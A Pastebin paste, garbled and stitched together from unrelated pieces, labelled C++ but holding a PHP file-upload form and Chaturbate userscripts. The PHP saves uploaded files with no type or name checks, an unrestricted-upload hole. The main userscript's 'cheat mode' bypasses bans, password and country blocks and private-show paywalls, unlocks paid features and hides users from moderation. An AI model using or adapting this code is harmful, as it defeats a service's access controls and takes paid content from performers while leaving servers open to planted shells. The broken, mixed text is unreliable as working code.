Advertisement
jimgreeno

Untitled

Aug 25th, 2017
426
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 104.77 KB | None | 0 0
  1.   https://chaturbate.com/embed/persianangel/?-_js./embed_js.php?i=in/?tour=9oGW&campaign=zM6MR&track=embed&room=jimgreenobigcock&bgcolor=transparent&disable_sound=0&embed_video_only=1&target=_parent' height=600 width=800 style='border: none; / $numoffile = 5; //  
  2.          $file_dir = "/home/webs/dmonster.com/subdomain/files/";
  3.      if ($_POST)
  4.      {
  5.        for ($i=0;$i<$numoffile;$i++)
  6.        {
  7.          if (trim($_FILES['myfiles']['name'][$i])!="")
  8.          {
  9.            $newfile = $file_dir.$_FILES['myfiles']['name'][$i];
  10.            move_uploaded_file($_FILES['myfiles']['tmp_name'][$i], $newfile);
  11.            $j++;
  12.          }
  13.        }
  14.      }
  15.      if (isset($j)&&$j>0) print "Your file(s) has been uploaded.
  16. ";
  17.      print "< form method='post' enctype='multipart/form-data'>";
  18.      for($i=0;$i<$numoffile;$i++)
  19.      {
  20.        print "< input type='file' name='myfiles[]' size='30'>
  21. ";
  22.      }
  23.      print "< input type='submit' name='action' value='Upload'>";
  24.      print "< / form>";
  25.   ? >  ><==UserScript==><
  26. // @name        Chaturbate Enhanced
  27. // @locale      en
  28. //  @version 1    
  29. // @version     5.2.0
  30. // @author      stix
  31. // @description No Ads, Change Colors, Add Fav. Model Tab, Remove Profile Spam & Annoying Chat Tip GIFs, Deletes Exhibitionist Cams & More...
  32. // @icon        http://deplist.weebly.com/uploads/6/1/9/1/61911901/want.png
  33. // @include     https://chaturbate.com/*
  34.   // @include       https://*.chaturbate.com/*
  35.   // @exclude      https://chaturbate.com/emoticons/*
  36.   // @exclude      https://chaturbate.com/accounts/*
  37.  // @exclude       https://chaturbate.com/apps/*
  38.  // @include       https://chaturbate.com/photo_videos/*
  39.  //  @include       http://jsfiddle.net/shanny/VSUM6/28/*
  40.  //  @include       http://jsfiddle.net/zalun/NmudS/embedded/result,js,html,css/
  41.  // @exclude       http://serve.ads.chaturbate.com/*
  42. // @namespace  https://greasyfork.org/en/scripts/16228-chaturbate-enhanced
  43.  // @require        https://ajax.googleapis.com/ajax/libs/jquery/1.12.0/jquery.min.js
  44.  // @require        https://greasyfork.org/scripts/19017-jscolor/code/jscolor.js?version=121257
  45.  // @license        GPLv3; http://www.gnu.org/copyleft/gpl.html
  46.  // @grant      none
  47.  
  48. // // ==UserScript==
  49.  
  50. // @name          Chaturbate Better Full Screen
  51. // @version       1.2
  52. // @include       https://chaturbate.com/*
  53. // @include       https://chaturbate.com/#*
  54. // @exclude       https://*.chaturbate.com/*-cams/
  55. // @exclude       https://chaturbate.com/*-cams/
  56. // @namespace https://greasyfork.org/en/scripts/8725-chaturbate-better-full-screen
  57. // @description:en Adds a better full screen view that has the chat.
  58. // @source https://greasyfork.org/en/scripts/8725-chaturbate-better-full-screen
  59. // @description Adds a better full screen view that has the chat.
  60. // ==/UserScript==
  61.  
  62. if (window.top != window.self)  //-- Don't run on frames or iframes
  63.   return;
  64.  
  65. var main = function() {
  66.   var betterFullScreenOpen = false,
  67.       prevHeight = 0;
  68.  
  69.   if (typeof $ !== 'undefined') {
  70.     $(document).ready(
  71.       function() {
  72.         var addActionBtn = function() {
  73.           $('body').append('<div id="betterFullScreenBtn" onclick="toggleBetterFullScreen()"><i class="fa fa-arrows-alt"><i></div>');
  74.         };
  75.  
  76.         window.toggleBetterFullScreen = function(e) {
  77.           betterFullScreenOpen = !betterFullScreenOpen;
  78.           $('#defchat .section').toggleClass('betterFullScreen');
  79.           $('#betterFullScreenBtn .fa').toggleClass('fa-arrows-alt').toggleClass('fa-compress');
  80.           if (betterFullScreenOpen) {
  81.             prevHeight = $('.video-box #player').css('height');
  82.             var width = $('.video-box #player').width();
  83.             $('.video-box #player').css('height', ((width*(664/842))-10)+'px');
  84.             $('body').append('<div id="betterFullScreenOverlay"></div>');
  85.           } else {
  86.             $('.video-box #player').css('height', prevHeight);
  87.             $('#betterFullScreenOverlay').remove();
  88.           }
  89.         };
  90.  
  91.         var url = '//maxcdn.bootstrapcdn.com/font-awesome/4.2.0/css/font-awesome.min.css';
  92.         if (document.createStyleSheet) {
  93.           document.createStyleSheet(url);
  94.         } else if (typeof $ !== 'undefined') {
  95.           $('<link rel="stylesheet" type="text/css" href="' + url + '" />').appendTo('head');
  96.         }
  97.  
  98.         addActionBtn();
  99.       }
  100.     );
  101.   }
  102. };
  103.  
  104. var script = document.createElement('script');
  105. script.textContent = '(' + main.toString() + ')();';
  106. document.body.appendChild(script);
  107. var style = document.createElement('style');
  108. style.innerHTML = ''+
  109. '#betterFullScreenBtn {'+
  110.   'width: 25px !important;' +
  111.   'height: 25px !important;' +
  112.   'top: 10px !important;' +
  113.   'right: 10px !important;' +
  114.   'z-index: 2000 !important;' +
  115.   'position: fixed !important;' +
  116.   'cursor: pointer !important;' +
  117.   'background: #e0e0e0 !important;' +
  118.   'border: 1px solid #acacac !important;' +
  119.   'border-radius: 4px !important;' +
  120.   '-webkit-border-radius: 4px !important;' +
  121.   '-moz-border-radius: 4px !important;' +
  122.   'padding: 4px !important;' +
  123.   'font-size: 25px !important;' +
  124.   'text-align: center !important;' +
  125. '}' +
  126. '#betterFullScreenOverlay {' +
  127.   'top: 0;' +
  128.   'left: 0;' +
  129.   'right: 0;' +
  130.   'bottom: 0;' +
  131.   'position: fixed;' +
  132.   'background: #e0e0e0;' +
  133.   'z-index: 1998;' +
  134. '}' +
  135. '.betterFullScreen {' +
  136.   'top: 0 !important;' +
  137.   'left: 0 !important;' +
  138.   'right: 0 !important;' +
  139.   'bottom: 0 !important;' +
  140.   'position: fixed !important;' +
  141.   'z-index: 1999 !important;' +
  142.   'height: 100%!important;' +
  143. '}' +
  144. '.betterFullScreen .video-box {' +
  145.   'position: fixed !important;' +
  146.   'left: 0 !important;' +
  147.   'top: 0 !important;' +
  148.   'width: 60% !important;' +
  149.   'height: 100% !important;' +
  150. '}' +
  151. '.betterFullScreen .video-box #player {' +
  152.   'width: 100% !important;' +
  153. '}' +
  154. '.betterFullScreen .video-box .title {' +
  155.   'width: calc(100% - 15px);' +
  156.   'position: relative;' +
  157.   'overflow: visible;' +
  158. '}' +
  159. '.betterFullScreen .video-box .title #tooltip-subject {' +
  160.   'width: initial !important;' +
  161.   'right: 0;' +
  162. '}' +
  163. '.betterFullScreen .chat-holder {' +
  164.   'position: fixed !important;' +
  165.   'right: 0 !important;' +
  166.   'top: 0 !important;' +
  167.   'width: calc(40% - 10px) !important;' +
  168.   'height: 100% !important;' +
  169. '}' +
  170. '.betterFullScreen .chat-box {' +
  171.   'height: 100% !important;' +
  172. '}' +
  173. '.betterFullScreen .users-list, .betterFullScreen .settings-list, .betterFullScreen .chat-list {' +
  174.   'height: calc(100% - 75px) !important;' +
  175. '}';
  176. document.body.appendChild(style);
  177.  
  178. ? >  ><==UserScript==><
  179. 3.   // @name           chaturbate
  180.  
  181.  
  182. 4.   // @version 1
  183.  
  184.  
  185. 5.    // @namespace  chaturbate    
  186.  
  187.  
  188. 6.   // @description    chaturbate      
  189.  
  190. 7.    // @include        http://*.chaturbate.com/*/ded/?-_js./embed_js.php?      
  191.        
  192. 8.    // @include         http://*.chaturbate.com//api/getchatuserlist/?    
  193.              
  194. 9.    // @include         http://chaturbate.com/*  
  195.        
  196.  
  197. 10.  // @exclude      http://serve.ads.chaturbate.com/*      
  198.  
  199.  
  200. 11.    // @run-at         document-start
  201.  
  202.  
  203. 12.    // @grant          GM_getValue
  204.  
  205.  
  206. 13.    // @grant          GM_setValue
  207.  
  208.  
  209. 14.    // @grant          GM_addStyle
  210.  
  211.  
  212. 15.    // @grant          GM_xmlhttpRequest
  213.  
  214.  
  215. 16.    // ==/UserScript==
  216.  
  217.  
  218. 17.    
  219.  
  220.  
  221. 18.            scversion = 16.7;
  222.  
  223.  
  224. 19.            flashplayer = "/static/flash/CBV_2p640.swf";
  225.  
  226.  
  227. 20.    
  228.  
  229.  
  230. 21.    //!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
  231.  
  232.  
  233. 22.    // if you see this text then save the file as *- newchaturbate.user.js -*
  234.  
  235.  
  236. 23.    //after saving open it inside chrome&microsoft edge & and install it.
  237.  
  238.  
  239. 24.    //!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
  240.  
  241.  
  242. 25.    //
  243.  
  244.  
  245. 26.    //++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
  246.  
  247.  
  248. 27.    //>>>>>>>>>>>>>>>>>>ONLY FOR CHROME&MICROSOFT EDGE WITH GREASEMONKEY RUNNING ON WINDOWS !!!<<<<<<<<<<
  249.  
  250.  
  251. 28.    // >>>>>>>>>>>>>>>>>>>>>>>>DO NOT GIVE THIS SCRIPT TO OTHER PERSONS !!<<<<<<<<<<<<<<<<<<
  252.  
  253.  
  254. 29.    // V12+
  255.  
  256.  
  257. 30.    // Removes all advertisements
  258.  
  259.  
  260. 31.    // Inserts a new video box if the room is password protected or if your banned or blocked
  261.  
  262.  
  263. 32.    // More colums on the main screen and streched the chat box
  264.  
  265.  
  266. 33.    // External links are no longer redirected
  267.  
  268.  
  269. 34.    // Checks the version of the flash player and tries to use the same version on protectected rooms
  270.  
  271.  
  272. 35.    // Shoutbox at the end of the screen
  273.  
  274.  
  275. 36.    // By default the chat won't show emoticons
  276.  
  277.  
  278. 37.    //
  279.  
  280.  
  281. 38.    // Unlocked supporters profile features ( PM , chat color etc.) USE IT WITH CARE !
  282.  
  283.  
  284. 39.    //
  285.  
  286.  
  287. 40.    // All links are rewritten to /p/ , the preformers profile, there you have the choice to go to the normal
  288.  
  289.  
  290. 41.    // webcam or to go to a webcam with special functions.
  291.  
  292.  
  293. 42.    // On a normal cam page you have the option to go back to the profile page.
  294.  
  295.  
  296. 43.    //
  297.  
  298.  
  299. 44.    // special video mode where you can enter a streamkey
  300.  
  301.  
  302. 45.    //
  303.  
  304.  
  305. 46.    // only the last updates are mentioned here , the list became too long
  306.  
  307.  
  308. 47.    //
  309.  
  310.  
  311. 48.    // v14.4 adjustment for the spy on cam screen. if you enter as an anon you can enter and leave the private chat any
  312.  
  313.  
  314. 49.    // time you want. if the performer goes private or groep you will stil auto-follow to the private room
  315.  
  316.  
  317. 50.    // v14.5 you can see video of country-banned rooms together with chat. reconnect chatbox option, if you have access in special mode
  318.  
  319.  
  320. 51.    // it will check for the chat host to connect too, if you have no access it will ask you what chat host to use
  321.  
  322.  
  323. 52.    // v14.6 added a video server selector in the special video menu , if you have no video then maually select an other one
  324.  
  325.  
  326. 53.    // v14.7 2 chat notifications made visible , name in thumb screen made easy to copy  
  327.  
  328.  
  329. 54.    // v14.8 video server orgin3 added
  330.  
  331.  
  332. 55.    // V14.9 shows the requester of a private show , better scroll with extra info, fixed front page mess-up with long broadcaster names
  333.  
  334.  
  335. 56.    // V15.1 orgin4 and 5 added. It remembers the server for every stream. In the key input area below the video you can enter a long string
  336.  
  337.  
  338. 57.    // containing the key , the script will select the key from it and, if its found, the server. As an anon it will ask if you want to be
  339.  
  340.  
  341. 58.    // in broadcaster mode. You can open a room in clean Iframe mode.
  342.  
  343.  
  344. 59.    // v15.2 corrected the usercolors in chat list , offline tipping of a non-verified user
  345.  
  346.  
  347. 60.    // v15.3 all video options removed , tipping removed , fixed anon entry
  348.  
  349.  
  350. 61.    // v15.4 fix for tipnotes
  351.  
  352.  
  353. 62.    // v15.5 sorting users by tokens in normal chat , mute tip sound option , floating widgets on profile page removed
  354.  
  355.  
  356. 63.    // v15.6 stopped auto refresh in banned video only page , more fancy reziseable video window
  357.  
  358.  
  359. 64.    // v15.7 no more tip notes
  360.  
  361.  
  362. 65.    // V15.8 if entering via password room you can use mobile mode. you will not appear in userlist and you can not be banned (you can be silenced!)
  363.  
  364.  
  365. 66.    // v15.9 bug fix from 15.8
  366.  
  367.  
  368. 67.    // v16.0 , number scipped
  369.  
  370.  
  371. 68.    // v16.1 use of a random server in password room b.c. the static server was down.
  372.  
  373.  
  374. 69.    // v16.2 fix for FF 23 , find a user added
  375.  
  376.  
  377. 70.    // v16.3 better user finder, fixed tipping and abusing in cheat mode, mobile video link added
  378.  
  379.  
  380. 71.    // v16.3a & b & c microsoft edge 20.1024.16384.0 © 2017 Microsoft compatible , no update
  381.  
  382.  
  383. 72.    // v16.4 graphical last online viewer , no more info stored in flash cookies , script cleanup
  384.  
  385.  
  386. 73.    // v16.5 always remove adds with cookie, better cleaning of messed-up profiles , always remove video logo
  387.  
  388.  
  389. 74.    //++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
  390.  
  391.  
  392. 75.    
  393.  
  394.  
  395. 76.            createCookie("agreeterms","1",1);
  396.  
  397.  
  398. 77.            createCookie("np3","0",1);
  399.  
  400.  
  401. 78.            if (!readCookie("noads")){createCookie("noads","1",30);window.location.reload()}
  402.  
  403.  
  404. 79.    
  405.  
  406.  
  407. 80.    function do_script() {
  408.  
  409.  
  410. 81.    
  411.  
  412.  
  413. 82.    // some adjustment needed if we are in cheat mode
  414.  
  415.  
  416. 83.    
  417.  
  418.  
  419. 84.            if (readCookie("cheatmode")){
  420.  
  421.  
  422. 85.            mode=readCookie("cheatmode").split("&");
  423.  
  424.  
  425. 86.            eraseCookie("cheatmode","chaturbate.com");
  426.  
  427.  
  428. 87.            preformer=mode[0];
  429.  
  430.  
  431. 88.            anon=mode[1];
  432.  
  433.  
  434. 89.            mob=mode[2];
  435.  
  436.  
  437. 90.            document.getElementsByTagName('body')[0].setAttribute("style", "border:50px double #545565;");
  438.  
  439.  
  440. 91.            base=document.createElement('BASE');
  441.  
  442.  
  443. 92.            url=document.location.href;
  444.  
  445.  
  446. 93.            url=url.replace(document.location.href.split("/")[4],preformer);
  447.  
  448.  
  449. 94.            url=url.split("?")[0];
  450.  
  451.  
  452. 95.    
  453.  
  454.  
  455. 96.            base.setAttribute("href",url);
  456.  
  457.  
  458. 97.    
  459.  
  460.  
  461. 98.            document.getElementsByTagName('head')[0].appendChild(base);
  462.  
  463.  
  464. 99.    
  465.  
  466.  
  467. 100.    
  468.  
  469.  
  470. 101.            text1="<center><b>Welcome in "+preformer+"'s room.</b><br></center>";
  471.  
  472.  
  473. 102.            text2="<center><b>You are an anonymous user and you can not chat.</b><br></center>";
  474.  
  475.  
  476. 103.            text3="<center><b>You are in mobile mode and you are not visible in the userlist.</b><br></center>";
  477.  
  478.  
  479. 104.            text4='<center><b><a href="javascript:if(flash_handler.initializer.is_on_private_room==false){GetFlashObject(\'movie\').LeaveRoom();flash_handler.initializer.is_on_private_room=true;GetFlashObject(\'movie\').JoinPrivateRoom(0)};">Enter the private room</a>--------<a href="javascript:if(flash_handler.initializer.is_on_private_room==true){GetFlashObject(\'movie\').LeaveRoom();flash_handler.initializer.is_on_private_room=false;GetFlashObject(\'movie\').JoinRoom(0);}">Leave the private room</a></center>';
  480.  
  481.  
  482. 105.            text5="<center><b><a href='http://chaturbate.com/p/"+preformer+"/'>Return to the profile.</a><br><br>";
  483.  
  484.  
  485. 106.    
  486.  
  487.  
  488. 107.            text=document.createElement('div');
  489.  
  490.  
  491. 108.    
  492.  
  493.  
  494. 109.            textf=text1;
  495.  
  496.  
  497. 110.            if(anon==1){textf=textf+text2}
  498.  
  499.  
  500. 111.            if(mob==1){textf=textf+text3}
  501.  
  502.  
  503. 112.            if((anon==1)&&(mob==0)){textf=textf+text4}
  504.  
  505.  
  506. 113.    
  507.  
  508.  
  509. 114.            text.id="cheat";
  510.  
  511.  
  512. 115.    
  513.  
  514.  
  515. 116.            text.innerHTML=textf+text5;
  516.  
  517.  
  518. 117.    
  519.  
  520.  
  521. 118.            body=document.getElementsByTagName('body')[0];
  522.  
  523.  
  524. 119.    
  525.  
  526.  
  527. 120.            body.insertBefore(text, body.firstChild);
  528.  
  529.  
  530. 121.    
  531.  
  532.  
  533. 122.    // fix abuse
  534.  
  535.  
  536. 123.            abu=document.getElementById("report_popup");
  537.  
  538.  
  539. 124.            abu.getElementsByTagName('form')[0].setAttribute("action","/abuse/report/"+preformer+"/");
  540.  
  541.  
  542. 125.    
  543.  
  544.  
  545. 126.    // fix the tipping    
  546.  
  547.  
  548. 127.            tips=document.getElementsByClassName('tip_shell')[0];
  549.  
  550.  
  551. 128.            tips.getElementsByTagName('form')[0].setAttribute("action","/tipping/send_tip/"+preformer+"/");
  552.  
  553.  
  554. 129.    
  555.  
  556.  
  557. 130.            }
  558.  
  559.  
  560. 131.    
  561.  
  562.  
  563. 132.    // always earase again, just in case we broke the page
  564.  
  565.  
  566. 133.            eraseCookie("cheatmode","chaturbate.com");
  567.  
  568.  
  569. 134.    // earase these too
  570.  
  571.  
  572. 135.            eraseCookie("latest_linked_timestamp");
  573.  
  574.  
  575. 136.            eraseCookie("latest_linked_username");
  576.  
  577.  
  578. 137.            eraseCookie("affkey");
  579.  
  580.  
  581. 138.            eraseCookie("fromaffiliate");
  582.  
  583.  
  584. 139.    
  585.  
  586.  
  587. 140.    
  588.  
  589.  
  590. 141.    // from here normal script
  591.  
  592.  
  593. 142.    
  594.  
  595.  
  596. 143.    // remove visible adds
  597.  
  598.  
  599. 144.            ad = document.getElementsByClassName('ad');
  600.  
  601.  
  602. 145.            if (document.location.href.split("/")[3]!="b"){
  603.  
  604.  
  605. 146.            if (ad[1]){ad[1].parentNode.removeChild(ad[1])}}
  606.  
  607.  
  608. 147.    
  609.  
  610.  
  611. 148.            verstr='<strong>Special edition </strong><br>V '+scversion;
  612.  
  613.  
  614. 149.            if(document.getElementById("player")){verstr=verstr+'<br><label> Debug chatbox: </label><input type="checkbox" id="appnotice">'}
  615.  
  616.  
  617. 150.            if (ad[0]){ad[0].innerHTML=verstr}
  618.  
  619.  
  620. 151.    
  621.  
  622.  
  623. 152.    
  624.  
  625.  
  626. 153.            ad = document.getElementsByClassName('banner')[0];
  627.  
  628.  
  629. 154.            if (ad){ad.parentNode.removeChild(ad)}
  630.  
  631.  
  632. 155.            ad=document.getElementById("botright");
  633.  
  634.  
  635. 156.            if (ad){ad.parentNode.removeChild(ad)}
  636.  
  637.  
  638. 157.    
  639.  
  640.  
  641. 158.    // advert options on menu bars and check if your logged in
  642.  
  643.  
  644. 159.            if (document.location.href.indexOf("/auth/logout/") != -1){eraseCookie("logstatus","chaturbate.com");eraseCookie("latest_linked_username");}
  645.  
  646.  
  647. 160.            notlogged = GM_getValue( "all" , 0 );
  648.  
  649.  
  650. 161.            bar=document.getElementById("nav");
  651.  
  652.  
  653. 162.            if (bar){
  654.  
  655.  
  656. 163.            barl=bar.getElementsByTagName('li');
  657.  
  658.  
  659. 164.            i=barl.length-1;
  660.  
  661.  
  662. 165.            while (i != -1){
  663.  
  664.  
  665. 166.            d=barl[i].innerHTML;
  666.  
  667.  
  668. 167.            if (d.indexOf('/login') != -1) {notlogged = 1}
  669.  
  670.  
  671. 168.            if ((d.indexOf('/login') != -1)||(d.indexOf('href="/"') != -1)||(d.indexOf('href="/b/') != -1)||(d.indexOf('/my_') != -1)){i--}
  672.  
  673.  
  674. 169.            else{barl[i].parentNode.removeChild(barl[i]);i--}
  675.  
  676.  
  677. 170.            }}
  678.  
  679.  
  680. 171.    
  681.  
  682.  
  683. 172.    // rss feed link
  684.  
  685.  
  686. 173.            if(document.getElementsByClassName('wide')[0]){
  687.  
  688.  
  689. 174.            newli=document.createElement('li');
  690.  
  691.  
  692. 175.            newli.innerHTML="<a href='http://chaturbate.com/affiliates/promotools/cam_listing/' target = _blank>LAST ONLINE </a>";
  693.  
  694.  
  695. 176.            if (bar){bar.appendChild(newli)}}
  696.  
  697.  
  698. 177.    
  699.  
  700.  
  701. 178.    // find user
  702.  
  703.  
  704. 179.            if(document.getElementsByClassName('wide')[0]){
  705.  
  706.  
  707. 180.            newli=document.createElement('li');
  708.  
  709.  
  710. 181.            newli.innerHTML="<a href='http://chaturbate.com/affiliates/promotools/im_ads/' target = _blank>FIND A USER </a>";
  711.  
  712.  
  713. 182.            if (bar){bar.appendChild(newli)}}
  714.  
  715.  
  716. 183.    
  717.  
  718.  
  719. 184.    
  720.  
  721.  
  722. 185.    // blog spam
  723.  
  724.  
  725. 186.            ad = document.getElementsByClassName('featured_blog_posts')[0];
  726.  
  727.  
  728. 187.            if (ad){ad.parentNode.removeChild(ad)}
  729.  
  730.  
  731. 188.    
  732.  
  733.  
  734. 189.    // footer spam
  735.  
  736.  
  737. 190.            ad = document.getElementsByClassName('featured_text')[0];
  738.  
  739.  
  740. 191.            if (ad){ad.parentNode.removeChild(ad)}
  741.  
  742.  
  743. 192.    
  744.  
  745.  
  746. 193.    // announcement banner
  747.  
  748.  
  749. 194.            ad = document.getElementsByClassName('top-section')[0];
  750.  
  751.  
  752. 195.            if (ad){
  753.  
  754.  
  755. 196.            ad = ad.getElementsByTagName('img')[0];
  756.  
  757.  
  758. 197.            if (ad){ad.parentNode.removeChild(ad)}}
  759.  
  760.  
  761. 198.    
  762.  
  763.  
  764. 199.    // footer cleanup
  765.  
  766.  
  767. 200.            ad = document.getElementsByClassName('footer-holder')[0];
  768.  
  769.  
  770. 201.            if (ad){
  771.  
  772.  
  773. 202.            ad1 = ad.getElementsByTagName('p')[3];
  774.  
  775.  
  776. 203.            if (ad1){ad1.parentNode.removeChild(ad1)}
  777.  
  778.  
  779. 204.            ad1 = ad.getElementsByTagName('p')[2];
  780.  
  781.  
  782. 205.            if (ad1){ad1.parentNode.removeChild(ad1)}
  783.  
  784.  
  785. 206.            ad1 = ad.getElementsByTagName('p')[1];
  786.  
  787.  
  788. 207.            if (ad1){ad1.parentNode.removeChild(ad1)}
  789.  
  790.  
  791. 208.            ad1 = ad.getElementsByTagName('p')[0];
  792.  
  793.  
  794. 209.            if (ad1){ad1.parentNode.removeChild(ad1)}}
  795.  
  796.  
  797. 210.    
  798.  
  799.  
  800. 211.    // strech the screen
  801.  
  802.  
  803. 212.            front=document.getElementsByClassName('c-1')[0];
  804.  
  805.  
  806. 213.            if(front) {
  807.  
  808.  
  809. 214.            front.setAttribute("style", "margin: 0px 0px 0px 35px;")}
  810.  
  811.  
  812. 215.            front=document.getElementsByClassName('c-1')[1];
  813.  
  814.  
  815. 216.            if(front) {
  816.  
  817.  
  818. 217.            front.setAttribute("style", "margin: 0px 0px 0px 35px;")}
  819.  
  820.  
  821. 218.    
  822.  
  823.  
  824. 219.    // remove out of position images
  825.  
  826.  
  827. 220.            container = document.getElementById("tabs_content_container")
  828.  
  829.  
  830. 221.            if (container){
  831.  
  832.  
  833. 222.            var taglist=new Array("a","p","i","strong","b","u","ul","ol","li","h1","h2","h3","img","font","br");
  834.  
  835.  
  836. 223.            for (n=0; n<taglist.length-1; n++){
  837.  
  838.  
  839. 224.            blockelm (taglist[n]);
  840.  
  841.  
  842. 225.            }}
  843.  
  844.  
  845. 226.    
  846.  
  847.  
  848. 227.            function blockelm(tag){
  849.  
  850.  
  851. 228.            var image = container.getElementsByTagName(tag);
  852.  
  853.  
  854. 229.            for (i=0; i<image.length; i++){
  855.  
  856.  
  857. 230.            if (image[i].style.position){
  858.  
  859.  
  860. 231.            if ((image[i].style.position.indexOf("absolute")!=-1)||(image[i].style.position.indexOf("fixed")!=-1)){
  861.  
  862.  
  863. 232.            image[i].style.display="none"}
  864.  
  865.  
  866. 233.            }}}
  867.  
  868.  
  869. 234.    
  870.  
  871.  
  872. 235.    //fix external links redirection
  873.  
  874.  
  875. 236.            var link = document.getElementsByTagName('a');
  876.  
  877.  
  878. 237.            for (i=0; i<link.length; i++){
  879.  
  880.  
  881. 238.            if (link[i].href.indexOf('?url=') != -1){
  882.  
  883.  
  884. 239.            linkhref=unescape(link[i].href);
  885.  
  886.  
  887. 240.            newlinkhref=linkhref.substring(linkhref.indexOf("?url=")+5,linkhref.indexOf("&domain"));
  888.  
  889.  
  890. 241.            link[i].href=newlinkhref}}
  891.  
  892.  
  893. 242.    
  894.  
  895.  
  896. 243.    
  897.  
  898.  
  899. 244.            if (notlogged == 0){ // logged in
  900.  
  901.  
  902. 245.    
  903.  
  904.  
  905. 246.    // on a profile page link to cam
  906.  
  907.  
  908. 247.            splits=document.location.href.split("/");
  909.  
  910.  
  911. 248.            play=document.getElementById("movie"); // check for player
  912.  
  913.  
  914. 249.    
  915.  
  916.  
  917. 250.            if (splits[3]!="b"){ // not broadcasting
  918.  
  919.  
  920. 251.            if (splits[3]=="p"){ // profile page (can have player)
  921.  
  922.  
  923. 252.    
  924.  
  925.  
  926. 253.            newli=document.createElement('li');
  927.  
  928.  
  929. 254.            camloc = splits[0]+"/"+splits[1]+"/"+splits[2]+"/"+splits[4];
  930.  
  931.  
  932. 255.            newli.innerHTML="<a href="+camloc+">OPEN THE NORMAL CHAT </a>";
  933.  
  934.  
  935. 256.            if (bar){bar.appendChild(newli)}
  936.  
  937.  
  938. 257.    
  939.  
  940.  
  941. 258.    
  942.  
  943.  
  944. 259.    // go to semi password room
  945.  
  946.  
  947. 260.            newli=document.createElement('li');
  948.  
  949.  
  950. 261.            pwroom= splits[0]+"/"+splits[1]+"/"+splits[2]+"/roomlogin/"+splits[4];
  951.  
  952.  
  953. 262.            newli.innerHTML="<a href='"+pwroom+"'>GO TO PASSWORD ROOM</a>";
  954.  
  955.  
  956. 263.            if (bar){bar.appendChild(newli)};
  957.  
  958.  
  959. 264.    
  960.  
  961.  
  962. 265.    // go to embedded room
  963.  
  964.  
  965. 266.            newli=document.createElement('li');
  966.  
  967.  
  968. 267.            ebroom= splits[0]+"/"+splits[1]+"/"+splits[2]+"/embed/"+splits[4];
  969.  
  970.  
  971. 268.            newli.innerHTML="<a href='"+ebroom+"' target=_blank>OPEN THE ROOM IN A CLEAN PAGE</a>";
  972.  
  973.  
  974. 269.            if (bar){bar.appendChild(newli)};
  975.  
  976.  
  977. 270.    
  978.  
  979.  
  980. 271.            } // end only on profile page
  981.  
  982.  
  983. 272.    
  984.  
  985.  
  986. 273.    // graphic rss feed
  987.  
  988.  
  989. 274.            function showfeed(){
  990.  
  991.  
  992. 275.            var x=document.getElementById("selector").selectedIndex;
  993.  
  994.  
  995. 276.            feedXml='http://chaturbate.com/feed/latest/?'+document.getElementById("selector").getElementsByTagName("option")[x].value+"&"+new Date().getTime() ;
  996.  
  997.  
  998. 277.    
  999.  
  1000.  
  1001. 278.            GM_xmlhttpRequest({
  1002.  
  1003.  
  1004. 279.            method: 'GET',
  1005.  
  1006.  
  1007. 280.            url: feedXml,
  1008.  
  1009.  
  1010. 281.            onload: function(response) {
  1011.  
  1012.  
  1013. 282.            xmlString=response.responseText;
  1014.  
  1015.  
  1016. 283.    
  1017.  
  1018.  
  1019. 284.    // dirty HTML parser, i can handle xml as html
  1020.  
  1021.  
  1022. 285.            xmldoc=document.createElement('div');
  1023.  
  1024.  
  1025. 286.            xmldoc.innerHTML=xmlString;
  1026.  
  1027.  
  1028. 287.    
  1029.  
  1030.  
  1031. 288.            area=document.getElementsByClassName('content_body')[0];
  1032.  
  1033.  
  1034. 289.            area.innerHTML="";
  1035.  
  1036.  
  1037. 290.    
  1038.  
  1039.  
  1040. 291.            newdiv=document.createElement('div');
  1041.  
  1042.  
  1043. 292.            area.appendChild(newdiv);
  1044.  
  1045.  
  1046. 293.    
  1047.  
  1048.  
  1049. 294.            holder=document.createElement('ul');
  1050.  
  1051.  
  1052. 295.            holder.className="list";
  1053.  
  1054.  
  1055. 296.            holder.id="check";
  1056.  
  1057.  
  1058. 297.            newdiv.appendChild(holder);
  1059.  
  1060.  
  1061. 298.    
  1062.  
  1063.  
  1064. 299.            var items = new Array();
  1065.  
  1066.  
  1067. 300.            items=xmldoc.getElementsByTagName('item');
  1068.  
  1069.  
  1070. 301.    
  1071.  
  1072.  
  1073. 302.            blockstring='<img src="item1" alt="item2" class="png" height="148" width="180">'
  1074.  
  1075.  
  1076. 303.            +'<a href="item3" target="_blank" class="corners">&nbsp;</a>'
  1077.  
  1078.  
  1079. 304.            +'<div class="details">'
  1080.  
  1081.  
  1082. 305.            +'<div class="title">'
  1083.  
  1084.  
  1085. 306.            +'<a target="_blank" href="item4">item5</a>'
  1086.  
  1087.  
  1088. 307.            +'<span class="age genderitem6">&nbsp;</span>'
  1089.  
  1090.  
  1091. 308.            +'</div>'
  1092.  
  1093.  
  1094. 309.            +'<ul class="subject">'
  1095.  
  1096.  
  1097. 310.            +'<li></li>'
  1098.  
  1099.  
  1100. 311.            +'</ul>'
  1101.  
  1102.  
  1103. 312.            +'<ul class="sub-info">'
  1104.  
  1105.  
  1106. 313.            +'<li class="location">item8</li>'
  1107.  
  1108.  
  1109. 314.            +'<li class="cams">item9 min. online - item10 viewers</li>'
  1110.  
  1111.  
  1112. 315.            +'</ul>'
  1113.  
  1114.  
  1115. 316.            +'</div>';
  1116.  
  1117.  
  1118. 317.    
  1119.  
  1120.  
  1121. 318.            for (n=0; n<items.length; n++){
  1122.  
  1123.  
  1124. 319.            image_url= items[n].getElementsByTagName("image_url")[0].innerHTML;
  1125.  
  1126.  
  1127. 320.            title = items[n].getElementsByTagName("title")[0].innerHTML;
  1128.  
  1129.  
  1130. 321.    
  1131.  
  1132.  
  1133. 322.            guid =  items[n].getElementsByTagName("guid")[0].innerHTML;
  1134.  
  1135.  
  1136. 323.            gsplits=guid.split("/");
  1137.  
  1138.  
  1139. 324.            guid=gsplits[0]+"/"+gsplits[1]+"/"+gsplits[2]+"/p/"+gsplits[3];
  1140.  
  1141.  
  1142. 325.    
